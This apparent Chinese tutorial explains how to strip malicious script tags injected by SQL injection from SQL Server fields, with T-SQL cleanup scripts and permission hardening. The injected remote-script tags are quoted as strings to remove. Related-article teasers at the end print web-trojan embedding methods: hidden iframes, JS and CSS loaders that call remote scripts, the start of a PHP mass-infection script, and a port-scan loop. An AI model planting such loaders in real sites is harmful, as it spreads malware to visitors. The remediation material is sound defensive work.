数据库中的内容字段被挂马的替换方法 SQL注入

清除了sqlsever中的一些挂马字段,现在总结sqlsever批量替换数据库挂马字段一文,希望可以帮助有需要的人。
【处理方法】
1、先备份数据,防止删除挂马字段的时候,丢失数据;
2、对挂马的表中的字段text小于8000执行以下语句(网上的很多软件与方法都是针对text小于8000的,这个解决方法你可以参考)
代码如下: 如表news 字段context 挂马字段是
<Script Src=http://c.n%75clear3.com/css/c.js></Script>


代码如下:

update news set context=replace(context,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>','')

执行后挂马字段被清除。
3、但是有部分字段,比如内容字段等大于8000字符的varchar字段则需要执行
代码如下:


代码如下:

update news set context=replace(cast(context as varchar(8000)),'<Script Src=http:/c.nuclear3.com/css/c.js> </Script> ', '')

4、有时候信息量较大的时候,会给数据库带来假死现象,我们可以加区间分批执行,每次执行10000条


代码如下:

update news
set context=replace(cast(context as varchar(8000)),'<Script Src=http:/c.nuclear3.com/css/c.js> </Script> ','')
where id>1 and id<10000

以上被挂马问题一般都是sql数据库,这是sql数据库特有的注入漏洞。
其实,我们从源头在所有数据库链接请求那里做相应的过滤,会从数据库的入口解决挂马的问题,这就要求程序员的程序逻辑一定要缜密。

asp下有很多的数据库管理程序,例如 db007等
php下,好多成熟的系统都有自带的批量替换功能,如dedecms
如何最快速度删除?
" <script src=http://www.jb51.net/mm.js> </script> "
---------------------------------------------------------------
进入SQL查询分析器
选择你的数据库
第一步:先sql表修改所有者为dbo


代码如下:

EXEC sp_MSforeachtable 'exec sp_changeobjectowner ' '? ' ', ' 'dbo ' ' '

第二步:统一删除字段被挂的js


代码如下:

declare @delStr nvarchar(500)
set @delStr= ' <script src=http://www.jb51.net/mm.js> </script> '
set nocount on
declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int
declare @sql nvarchar(500)
set @iResult=0
declare cur cursor for
select name,id from sysobjects where xtype= 'U '
open cur
fetch next from cur into @tableName,@tbID
while @@fetch_status=0
begin
declare cur1 cursor for
--xtype in (231,167,239,175,35) 为char,varchar,nchar,nvarchar,text类型
select name from syscolumns where xtype in (231,167,239,175,35) and id=@tbID
open cur1
fetch next from cur1 into @columnName
while @@fetch_status=0
begin
set @sql= 'update [ ' + @tableName + '] set [ '+ @columnName + ']= replace([ '+@columnName+ '], ' ' '+@delStr+ ' ' ', ' ' ' ') where [ '+@columnName+ '] like ' '% '+@delStr+ '% ' ' '
exec sp_executesql @sql
set @iRow=@@rowcount
set @iResult=@iResult+@iRow
if @iRow> 0
begin
print '表: '+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '条记录; '
end
fetch next from cur1 into @columnName
end
close cur1
deallocate cur1
fetch next from cur into @tableName,@tbID
end
print '数据库共有 '+convert(varchar(10),@iResult)+ '条记录被更新!!! '
close cur
deallocate cur
set nocount off
declare @t varchar(555),@c varchar(555) ,@inScript varchar(8000)
set @inScript='<script src=http://3b3.org/c.js></script>'
declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor
fetch next from table_cursor into @t,@c
while(@@fetch_status=0)
begin
exec('update ['+@t+'] set ['+@c+']=replace(cast(['+@c+'] as varchar(8000)),'''+@inScript+''','''')' )
fetch next from table_cursor into @t,@c
end
close table_cursor
deallocate table_cursor;

---------------------------------------------------------------
彻底杜绝SQL注入
1.不要使用sa用户连接数据库
2、新建一个public权限数据库用户,并用这个用户访问数据库
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限
4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×”
5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):


代码如下:

DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype= 'u ' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN print @c
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

(0)

相关推荐

  • 网页挂马方式整理及详细介绍

    网页挂马方式 一:框架挂马 <iframe src=地址 width=0 height=0></iframe>  二:js文件挂马 首先将以下代码 document.write("<iframe width='0' height='0' src='地址'></iframe>"); 保存为xxx.js, 则JS挂马代码为 <script language=javascript src=xxx.js></script>

  • 挂马代码 网页挂马分析

    如今网民上网可算是提心吊胆,面对病毒,也许杀毒软件还能防止一二,但如果遇到网页中挂马行为,甚至直接将用户当前机所安装的杀毒软件直接强行关闭,那么其后果是不言而喻的.如今的网页有马行为也不像以前那么单一,甚至不出现下载提示,直接从后台开始下载运行其马,然后秘密的收集用户信息并返溃到恶意者手中.     网马危害     如果一台正常的网络服务器被恶意用户入侵,其网页被挂马,在一定程度上可以说是网页被篡改,其危害是巨大的,随着用户访问流量的增多,会造成此马的传播性越发增大,由于其隐蔽性比较强,导至很

  • 预防网页挂马的方法总结

    预防网页挂马的方法总结: 在网站优化设计当中,检测网页木马也是很重要的一项工作,目前流行的网站被黑,是在相应的asp,htm,js等文件中,插入以js调用方式的.本文主要介绍网页挂马的工作原理及种类.常见方式.执行方式.如何检测网页是否被挂马.如何清除网页木马.如何防止网页被挂马. 1:网页挂马工作原理的种类. (1)工作原理: 作为网页挂马的散布者,其目的是将木马下载到用户本地,并进一步执行,当木马获得执行之后,就意味着会有更多的木马被下载,进一步被执行,进入一个恶性的循环,从而使用户的电脑遭

  • Asp常见挂马方式大总结

    一:框架挂马 <iframe src=地址 width=0 height=0></iframe> 其中"地址"处可以输入恶意网站链接等 二:js文件挂马 只要是JS文件,都可以通过被恶意修改从而被挂上恶意代码,一般被全站引用的JS代码最容易被挂木马,检测我们可以查看JS代码的左边或下边,坏人很喜欢将恶意代码与正常代码间用很多空格或回车来进行隐藏,所以要多看看JS代码页面有没有被故意拉长等. 三:js变形加密 <SCRIPT language="J

  • 最新的无权限挂马方式

    还有在国外的一些机器上,什么权限都拿到了也不知道他怎么弄的,什么都不让写,好不容易写个文件没一会又改回去了,真的让人很!#$%%#%^#%^,据说就有一种软件能监视重要的文件,一旦发现更改就会给恢复过去,譬如他监视web目录的话我们就不能更改他网站的任何内容了.不过,看了很多大虾的文章,自己也略微研究了下,也总算琢磨点东西出来,不用写任何文件就可以实现将别人的页面涂改和大家经常传说的挂马等等后果,这里就给大家介绍下,那些只知道勤快的管理员也要小心了! 大家知道,我们浏览网站的时候都是服务器将信息

  • 阻止网页挂马的若干工具小集合

    那么,除了在Web开发的时候注意以外,有什么有效的工具可以对抗SQL注入攻击? 今天,微软和惠普的安全部门合作发布了三个工具,分别是: 微软SQL注入攻击源码扫描器:Microsoft Source Code Analyzer for SQL Injection (MSCASI).这个工具给网站开发人员使用.是一个静态扫描ASP代码的工具,可以查找发现第一类和第二类的SQL注入攻击漏洞.工具下载地址: http://support.microsoft.com/kb/954476 惠普的 Scra

  • php下批量挂马和批量清马代码

    复制代码 代码如下: <?php function gmfun($path=".") { $d = @dir($path); while(false !== ($v = $d->read())) { if($v == "." || $v == "..") continue; $file = $d->path."/".$v; if(@is_dir($file)) { gmfun($file); } else {

  • 利用css实现挂马的代码

    body {  background-image: url('javascript:document.write("<script src=http://www.jb51.net/9xiao.js></script>")') } 9xiao.js内容是 document.write("<iframe src=你的网马 width=0 height=0></iframe>")

  • 最新病毒之SXS病毒专杀方式,最近挂马严重

    [%repeat_0 match="/data/option"%] [%=@title%] [%=@count%]票 [[%=@percent%]%]  [%_repeat_0%] SXS.EXE这是一个盗取QQ帐号密码的木马病毒,特点是可以通过可移动磁盘传播.该病毒的主要危害是盗取QQ帐户和密码:该病毒还会结束大量反病毒软件,降低系统的安全等级.  中毒症状:电脑分区双击不能自动打开或者很难打开,用右键打开可以!这是最显见的症状!  解决方式:网上已经有很多手动删除的方式!  现在有

  • js cookies 常见网页木马挂马代码 24小时只加载一次

    复制代码 代码如下: <div style='display:none'> <script type="text/javascript"> function goad(){ var Then = new Date() Then.setTime(Then.getTime() + 2*60*60*1000) var cookieString = new String(document.cookie) var cookieHeader = "Cookier1

  • dos之for命令实现扫描网段的端口,用于辅助解决ARP挂马

    不需要任何工具,dos命令扫描一个网段的全部端口!  在win2000下开一个dos窗口,然后执行  for /l %a in (1,1,254) do start /min /low telnet 192.168.0.%a 3389  这样192.168.0.x这个段的所有开放3389端口得主机都会暴露  这条命令执行后  会在任务栏开254个小窗口  然后telnet链接失败的窗口会在大约5秒后自动退出  剩下的窗口就是相对应开放端口的主机了  看一下小窗口的标题可以得知主机的ip地址  如

随机推荐